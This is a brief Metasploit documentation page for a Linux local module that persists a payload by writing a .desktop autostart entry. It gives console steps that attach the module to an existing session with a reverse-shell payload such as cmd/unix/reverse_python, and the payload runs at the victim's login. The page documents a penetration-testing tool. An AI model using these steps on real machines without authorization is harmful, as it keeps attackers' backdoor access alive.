metasploit-framework/documentation/modules/exploit/linux/local/autostart_persistence.md

Autostart persistence

This module persist a payload by creating a .desktop entry for Linux desktop targets.

Testing

1. Exploit a box
2. use exploit/linux/local/autostart_persistence
3. set SESSION <id>
4. set PAYLOAD cmd/unix/reverse_python (for instance), configure the payload as needed
5. exploit

When the victim logs in your payload will be executed!

Options

NAME

Name of the .desktop entry to add, if not specified it will be chosen randomly.